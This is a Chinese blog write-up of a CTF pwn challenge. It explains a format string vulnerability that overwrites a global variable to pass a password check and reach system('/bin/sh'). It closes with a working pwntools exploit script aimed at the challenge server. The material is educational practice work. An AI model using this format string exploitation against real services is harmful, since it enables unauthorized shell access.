
buuctf [第五空间2019 决赛]PWN5 writeup

胡胡同志要加油  于 2022-01-16 22:51:23 发布  1695  收藏
分类专栏： pwn题解 文章标签： 安全 pwn
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/yajuanpi4899/article/details/122530378
版权

 pwn题解 专栏收录该内容
6 篇文章 0 订阅
订阅专栏

 一、题目速阅

拿到题目，进行check

得到信息，可知开启了金丝雀，32位 IDA进行反编译：
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 题目分析：该题逻辑是将dword_804C044中值与第二次输入的passwd进行校对，如果相等则执行
system("/bin/sh")，确认payload目标：使第二次值相等，而可以看到printf中有格式化字符串，根据此构建
payload。

二、知识要点

格式化字符串漏洞：

利用常用方式检索字符在栈上偏移量：

如图所示，41414141即AAAA，可以看到距离AAAA偏移10位

可以根据此将指定dword_804C044地址写入想要的值，然后在第二次的passwd验证中发送该值验证。

三、题解payload

from pwn import *

sh = remote('node4.buuoj.cn', 29862)
context.log_level = 'debug'
target_addr = 0x804C044
payload = fmtstr_payload(10, {target_addr: 0x1})
sh.sendline(payload)
sh.sendline(str(0x1))
sh.interactive()
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